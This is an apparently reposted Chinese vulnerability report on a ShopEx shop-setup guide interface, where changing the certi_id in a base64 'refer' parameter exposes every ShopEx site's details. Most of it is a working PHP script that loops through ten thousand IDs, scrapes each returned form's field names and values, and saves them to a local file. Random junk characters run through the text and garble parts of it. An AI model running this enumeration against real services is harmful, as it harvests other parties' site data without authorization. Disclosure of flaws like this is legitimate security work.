|
|
简要描述:
+ r4 h6 p- q6 x$ P8 c$ c# ]/ {ShopEx某接口缺陷,可遍历所有网站. Z4 |3 `% b9 }+ h! P/ ^' d
详细说明:
9 Y F6 j. q: G* B" A$ j( ^; v; D8 B问题出现在shopex 网店使用向导页面 + L7 v f' z; R
9 ?* D) P, i" c0 M& I+ l* e) E
- t- ~& Q* [; H. V! N: X
z& r0 G! m. u, }. U9 Fhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
5 G8 q- h' J! [7 k0 W8 g" r5 g' z4 A g, `8 j4 l K
# s+ o$ b, @' E* \5 a' g
3 `: v! F9 R$ i8 z
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}$ N! s- h5 |( F1 Q
7 ] ~0 ^' N# H3 E1 }* ~5 s8 h( c) h
" R2 c0 k9 o: n! K0 d% Q1 d我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
# ^$ Z# u" K- Q6 ?* b$ a2 g4 Q4 n/ Y0 t) y8 r
4 s" ]5 i6 o% x
# {- S: i# J/ M8 w% u$ P
<?php) D1 M% _. V1 S- m- ]; R
1 D- O7 K: K% ? for ($i=1; $i < 10000; $i++) { //遍历
" W- Y4 h; l8 x( q8 t" e s; F. {, A4 M0 u3 C$ \' ?
ShowshopExD($i);
# |/ _- }6 y: D7 `% |, ?/ z. s+ `2 H! o; w4 M
} F9 E9 R" t2 n) F6 N5 J: p5 Y8 G
! g" N! S) I* y. k: h3 c7 [ function ShowshopExD($cid) {$ ?+ c2 g) _; J3 p
4 O# B9 g) Y8 t8 N- x! K $url='http://guide.ecos.shopex.cn/step2.php';5 O) D: n7 }( t
" b& G# ?# v9 o/ @% \* I' @
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
/ b. m! [+ ^4 I1 ?% h5 F3 _0 \1 N$ ]4 ]! e# j
$url = $url.'?refer='.$refer;
9 v9 U, k: ]6 A# K' H8 d1 o$ ^/ d! E4 \1 b; O/ ?$ Q1 w5 u
$ch = curl_init($url);" g& }6 {+ l) N1 l
6 E9 ^$ M9 m! u" t1 p$ Y: u8 h; j
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;7 S: r# i1 R! i v2 f" n/ g( M
% W& j! ]/ ]. h( l5 q
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
3 Y. s: T. z1 x- L
1 o6 F4 y ]- Q $result = curl_exec($ch);7 W, ~/ e' e' X8 N p
8 p$ d1 l8 r' I; M" A $result = mb_convert_encoding($result, "gb2312", "UTF-8");/ l0 z! }0 l- G$ p" l+ F+ H
+ s+ ` O+ l. F* W) K. Z0 J7 e" G3 u if(strpos($result,$refer))
6 F# F H9 z( S, v1 U" O! p+ }6 q' w" o$ B/ ~
{
+ T5 Y z# E \/ d$ E
3 V$ B* Q7 F2 d. j6 q0 e $fp = fopen("c:/shopEx.txt",'ab'); //保存文件/ `% q3 P0 o/ J' }# @! f4 w: V
" }3 {: }6 W& H. @; p/ u
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
1 I6 w8 r/ M) K0 {) t
" g6 D! _' J7 y0 z% |; m' l2 k foreach ($value[1] as $key) {
9 A- _( w3 o0 t. f3 f% ]+ `+ [* S/ Y0 i1 _
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);' T- c# `7 S# s; v% y
\& b. H# @7 c/ w$ l3 ?2 v% @2 \( G
echo $res[1][0].':'.$res[3][0]."\r\n";
# H; q3 h7 v0 ~( f4 @1 v4 n5 D' W4 _/ t( w; B; a
$col =$res[1][0].':'.$res[3][0]."\r\n";
; x4 m1 P* K0 X# w6 U0 Z4 B; `# ~# I3 L2 c. Q. w5 H$ y
fwrite($fp, $col, strlen($col));
5 S3 w* T9 f6 G/ S, L* k7 T8 A/ d- |, o4 Q8 K
}4 j/ J$ z+ M& Y% } ^2 v
0 \" y9 i0 u( ^' J3 P& h2 Q
echo '--------------------------------'."\r\n";3 J) E* W, `: F' `& H" G$ Q
* i2 X1 ~2 T& \' E' ~" v+ ]
fclose($fp);
. k* R( j: z9 g
( G2 V7 C( z! ? }; z- r+ o/ ]. t
. U8 T: ?1 @. T q0 E! a3 c flush();
8 e% p# {* H; K: v4 B. R
$ N' ^/ H2 X! h" U f curl_close($ch);! |, m5 n- K% z5 u
: B& d* N+ G) F; y8 G1 c
}6 S1 S" [/ g7 ?0 v
# n6 H; `% q1 F2 |! L2 t?>( ~. I4 F# N% a+ W3 `
漏洞证明:8 N! N* X7 c2 l* ?; C) ~
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg( l( {" B/ a5 Z6 r. `8 Z
refer换成其他加密方式1 K1 r# l+ I( N
|
|